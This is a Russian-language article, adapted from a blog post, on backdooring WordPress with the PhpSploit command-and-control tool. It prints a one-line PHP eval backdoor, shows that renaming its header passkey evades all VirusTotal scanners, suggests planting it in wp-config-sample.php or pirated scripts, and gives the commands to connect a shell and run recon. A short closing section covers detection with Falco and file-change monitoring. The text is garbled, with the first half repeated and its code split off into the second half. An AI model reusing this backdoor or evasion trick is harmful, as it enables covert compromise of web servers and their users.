Сейчас в Интернете можно скачать огромное количество пиратских программ, большая часть из которых заражена бэкдорами, троянами, вирусами. Наивные пользователи проверяют скаченные файлы с помощью антивирусов и рассчитывают, что им это поможет.
Скрипты веб-сайтов также могут распространяться на коммерческой основе и могут быть спиратченными — взломанными. Это могут быть движки онлайн магазинов, финансовые игры на деньги и хайп проекты. Давайте вместе посмотрим, насколько реально заразить веб-приложение бэкдором, чтобы его невозможно было найти.
Описанное здесь относится не только к тому, что без разбора скачиваете с сомнительных ресурсов. Заражение бэкдором можно получить и после взлома сайта или веб-сервера. Как многие из вас знают, WordPress написан на PHP. Поиск бэкдоров в коде PHP и WordPress может быть довольно сложным, а иногда и практически невозможным, поскольку бэкдоры могут быть скрыты в любом месте кода и выглядеть как обычный код, а типичная установка WordPress состоит примерно из 432 709 строк PHP-кода плюс десятки плагинов.
Таким образом, вместо того, чтобы читать весь код и искать бэкдоры, мы могли бы использовать автоматизированные инструменты, такие как антивирусное программное обеспечение, а популярное антивирусное программное обеспечение с открытым исходным кодом — ClamAV.
Сегодня мы собираемся протестировать Command and Control (C2) PhpSploit, описание ниже со страницы Github:
Приведённый выше код можно создать, выполнив следующую команду:
И если мы вставим этот небольшой фрагмент кода c eval в php-файл WordPress, а затем загрузим файл в VirusTotal, уровень обнаружения будет выглядеть следующим образом для 58 различных антивирусных сканеров, которые в настоящее время находятся в сети:
Всего одна находа, это ClamAV обнаруживает бэкдор как
Если мы затем снова запустим phpsploit и установим ещё один PASSKEY следующим образом:
Для показа кода бэкдора выполним:
Код бэкдора теперь выглядит иначе:
А затем, если мы воспользуемся этим кодом для проверки, спрячем его в
Отлично! Теперь мы обходим все известные движки по поиску вредоносного кода, перечисленные в VirusTotal, путём внесения небольшого изменения. Заражение бэкдором выходит за рамки этой небольшой статьи, но это может быть уязвимая версия плагина (как один из многих примеров). Если же мы говорим о пиратском ПО, то достаточно добавить эту одну строку в любое место кода и весь сайт будет заражён бэкдором.
Как только бэкдор установлен или загружен на удалённый сервер, нам нужно установить путь до файла с бэкдором, это можно сделать командой «set TARGET» или её сокращённой версией «target», например::
Чтобы открыть оболочку на удалённый сервер, достаточно выполнить:
Отлично. Теперь мы можем начать локальную разведку Linux, чтобы найти уязвимости эскалации пользователей с помощью таких команд, как
На уровне сети PHP-код, отправляемый по сети, выглядит так, как показано ниже. И должно быть довольно легко запускать предупреждения IDS на сетевом уровне, поскольку PHP-код, такой как
Но запуск Suricata с обновлёнными правилами ничего не нашел:
При запуске Sysdig Falco и Phpsploit в журнале появляется следующая запись: «Debug Shell spawned by untrusted binary»
Видео
Основывается на: https://blog.wpsec.com/backdooring-wordpress-with-phpsploit/
Скрипты веб-сайтов также могут распространяться на коммерческой основе и могут быть спиратченными — взломанными. Это могут быть движки онлайн магазинов, финансовые игры на деньги и хайп проекты. Давайте вместе посмотрим, насколько реально заразить веб-приложение бэкдором, чтобы его невозможно было найти.
Описанное здесь относится не только к тому, что без разбора скачиваете с сомнительных ресурсов. Заражение бэкдором можно получить и после взлома сайта или веб-сервера. Как многие из вас знают, WordPress написан на PHP. Поиск бэкдоров в коде PHP и WordPress может быть довольно сложным, а иногда и практически невозможным, поскольку бэкдоры могут быть скрыты в любом месте кода и выглядеть как обычный код, а типичная установка WordPress состоит примерно из 432 709 строк PHP-кода плюс десятки плагинов.
Таким образом, вместо того, чтобы читать весь код и искать бэкдоры, мы могли бы использовать автоматизированные инструменты, такие как антивирусное программное обеспечение, а популярное антивирусное программное обеспечение с открытым исходным кодом — ClamAV.
Сегодня мы собираемся протестировать Command and Control (C2) PhpSploit, описание ниже со страницы Github:
При запуске PhpSploit и генерации стандартного бэкдора для размещения в WordPress или PHP-коде будет создана примерна следующая строка, представляющая собой полноценный бэкдор:PhpSploit — это среда удалённого управления, цель которой — обеспечить скрытое интерактивное соединение, через HTTP, подобное оболочке между клиентом и веб-сервером. Это инструмент последующей эксплуатации, способный поддерживать доступ к взломанному веб-серверу для повышения привилегий. Полнофункциональный фреймворк C2, который незаметно сохраняется на веб-сервере в виде однострочного бэкдора на PHP
PHP:
<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>
PHP:
phpsploit --interactive --eval "backdoor"
Всего одна находа, это ClamAV обнаруживает бэкдор как
Php.Trojan.PhpSploit-7157376-0.Если мы затем снова запустим phpsploit и установим ещё один PASSKEY следующим образом:
PHP:
set PASSKEY HackWare
PHP:
backdoor
Код бэкдора теперь выглядит иначе:
PHP:
<?php @eval($_SERVER['HTTP_HACKWARE']); ?>
wp-config-sample.php или в любой другой файл и снова загрузим код в VirusTotal:
Отлично! Теперь мы обходим все известные движки по поиску вредоносного кода, перечисленные в VirusTotal, путём внесения небольшого изменения. Заражение бэкдором выходит за рамки этой небольшой статьи, но это может быть уязвимая версия плагина (как один из многих примеров). Если же мы говорим о пиратском ПО, то достаточно добавить эту одну строку в любое место кода и весь сайт будет заражён бэкдором.
Как только бэкдор установлен или загружен на удалённый сервер, нам нужно установить путь до файла с бэкдором, это можно сделать командой «set TARGET» или её сокращённой версией «target», например::
PHP:
set TARGET 192.168.0.223/backdoor.php
PHP:
exploit
Отлично. Теперь мы можем начать локальную разведку Linux, чтобы найти уязвимости эскалации пользователей с помощью таких команд, как
Bash:
whoami
ls
pwd
ls -l ../../../
На уровне сети PHP-код, отправляемый по сети, выглядит так, как показано ниже. И должно быть довольно легко запускать предупреждения IDS на сетевом уровне, поскольку PHP-код, такой как
eval и base64_decode, не должен быть частью http-заголовка. Это, конечно, всё равно можно изменить в PhpSploit, используя настройку REQ_HEADER_PAYLOAD.Но запуск Suricata с обновлёнными правилами ничего не нашел:
Выводы
Даже с небольшими изменениями кода PHP-бэкдора, предоставленного PhpSploit, который доступен свободно, антивирусному программному обеспечению сложно найти бэкдор. Лучшая защита от этого — отслеживать все изменения в www-папке на веб сервере с помощью инструментов с открытым исходным кодом.При запуске Sysdig Falco и Phpsploit в журнале появляется следующая запись: «Debug Shell spawned by untrusted binary»
Код:
syslog:Mar 23 17:18:04 vagrant falco: 17:18:04.781532982: Debug Shell spawned by untrusted binary (user=vagrant shell=sh parent=apache2 cmdline=sh -c echo $HOME pcmdline=apache2 -k start gparent=apache2 ggparent=systemd aname[4]=<NA> aname[5]=<NA> aname[6]=<NA> aname[7]=<NA> container_id=host image=<NA>)
Видео
Основывается на: https://blog.wpsec.com/backdooring-wordpress-with-phpsploit/